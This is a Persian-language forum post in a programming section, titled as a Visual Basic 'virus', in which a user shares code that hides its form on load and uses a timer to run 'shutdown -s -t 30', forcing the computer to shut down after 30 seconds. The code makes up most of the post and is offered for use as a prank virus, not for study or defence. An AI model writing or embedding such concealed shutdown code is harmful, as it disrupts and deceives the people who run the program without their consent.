در اين بخش مي‌توانيد به مباحث مربوط به انواع زبان هاي برنامه نويسي بپردازيد

New Member



no avatar
پست ها

2

تشکر کرده: 0 مرتبه
تشکر شده: 0 مرتبه
تاريخ عضويت

جمعه 1 اردیبهشت 1385 07:55

آرشيو سپاس: 0 مرتبه در 0 پست

ويروس از برنامه ويژوال بيسك

توسط MUSTAFA » جمعه 1 اردیبهشت 1385 08:15

به نام خداونده دوست
كار اين ويروس خاموش كردن كامپيوتر  30 ثانيه  
[align=left]Private Sub I()
Shell "shutdown -s -t 30"
End Sub

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
Call I
End Sub[/align]

 


  • موضوعات مشابه
    پاسخ ها
    بازديدها
    آخرين پست

چه کسي حاضر است ؟

کاربران حاضر در اين انجمن: بدون كاربران آنلاين و 1 مهمان